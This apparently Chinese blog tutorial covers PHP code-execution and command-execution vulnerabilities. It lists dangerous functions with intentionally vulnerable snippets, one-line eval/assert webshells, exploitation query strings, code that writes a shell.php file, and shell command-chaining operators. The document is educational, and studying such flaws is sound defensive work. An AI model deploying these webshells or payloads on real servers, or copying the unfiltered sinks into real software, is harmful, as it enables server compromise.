代码执行及命令执行漏洞
一、代码执行:
在参数,变量等执行地方,更改提交方式,注入畸形代码,出发安全漏洞。主要原因:由于服务器未针对函数的参数做有效过滤操作,导致的漏洞。
1、常见的代码执行函数:
PHP
(1)eval()
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>
(2)assert()
与eval类似,字符串被 assert() 当做 PHP 代码来执行、。
示例代码:
<?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>
(3)preg_replace()
preg_replace ( $pattern ,$replacement , $subject)搜索subject中匹配pattern的部分, 以replacement进行替换。preg_replace()函数原本是执行一个正则表达式的搜索和替换,若pattern中存在/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码。
示例代码:
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
(4)create_function()
create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。
代码示例:
<?php //?cmd=phpinfo(); $func =create_function('',$_REQUEST['cmd']); $func(); ?>
(5)array_map()
array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
代码示例:
<?php //?func=system&cmd=whoami $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>
(6)call_user_func()/call_user_func_array ()
call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
<?php //?cmd=phpinfo() @call_user_func(assert,$_GET['cmd']); ?> <?php //?cmd=phpinfo() $cmd=$_GET['cmd']; $array[0]=$cmd; call_user_func_array("assert",$array); ?>
(7)array_filter()
array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
<?php //?func=system&cmd=whoami $cmd=$_GET['cmd']; $array1=array($cmd); $func =$_GET['func']; array_filter($array1,$func); ?>
(8)usort()、uasort()
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
代码示例:
php环境>=5.6才能用 <?php usort(...$_GET);?> 利用方式: test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert [POST]:x=phpinfo(); php环境>=<5.6才能用 <?php usort($_GET,'asse'.'rt');?> 利用方式: test.php?1=1+1&2=eval($_POST[x]) [POST]:x=phpinfo();
(9)文件操作函数
file_put_contents() 函数把一个字符串写入文件中。
fputs() 函数写入文件
代码示例:
<?php $test='<?php eval($_POST[cmd]);?>'; file_put_contents('test1.php',$test); ?> <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); ?>
(10)动态函数
PHP函数直接由字符串拼接
代码示例:
<?php //?a=assert&b=phpinfo() $_GET['a']($_GET['b']); ?>
2、文件包含导致代码执行
若PHP版本>5.2且allow_url_fopen=on allow_url_include=on,且文件中具备文件包含函数时,此时会产生文件包含漏洞而导致代码执行漏洞。详情请见下个博客。
二、命令执行
原理请见上文。和代码执行不同的是 代码执行的是语言函数,而命令执行主要是和操作系统打交道,
1、管道连接符
windows和Linux共同:
& 前面执行语句假 直接执行后面的语句,若为真则先执行前面的再执行后面
&& 前语句为假则直接报错,不执行后面语句,若为真则先执行前面的再执行后面的
| 前面的命令不执行,直接执行后面的命令
|| 前面的命令出错再执行后面的,否则不执行后面的
linux独有
;执行完前面的再执行后面的
2、命令执行函数
(1)反引号运算符
PHP支持一个执行运算符:反引号``
。PHP将尝试将反引号中的内容作为外壳命令执行,并将其输出信息作为返回值返回(即可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数shell_exec()
相同。
反引号运算符在激活了安全模式或者关闭了shell_exec()
时是无效的。
(2)exec
string exec ( string $command [, array &$output [, int &$return_var ]] )
如果output
参数出现的话,该函数会将命令执行的结果一行一行的存入output
指定的数组,一行对应数组的一个元素,结尾的空白字符会被省略。注意,如果output
已经包含有内容的话,该函数会在这些内容后面追加内容,如果你不想这样,你必须在调用该函数之前,在output
上调用unset()
。 return_var
保存命令的执行状态。
该函数返回命令输出的最后一行。
(3)system
输出执行结果,返回最后一行。
如果PHP运行在服务器模块中,system()
函数还会尝试在每行输出完毕之后,自动刷新web服务器的输出缓存。
(4)passthru
执行外部程序并且显示原始输出。同exec()
函数类似,passthru()
函数也是用来执行外部命令的。当所执行的Unix命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代exec()
或system()
函数。常用来执行诸如pbmplus
之类的可以直接输出图像流的命令。(5)
(5)shell_exec
通过shell环境执行命令,并且将完整的输出以字符串的方式返回。该函数会在错误出现或者程序执行没有输出两种情况下返回NULL,也就是说,没有办法通过该函数检测程序执行失败(可以改用exec)。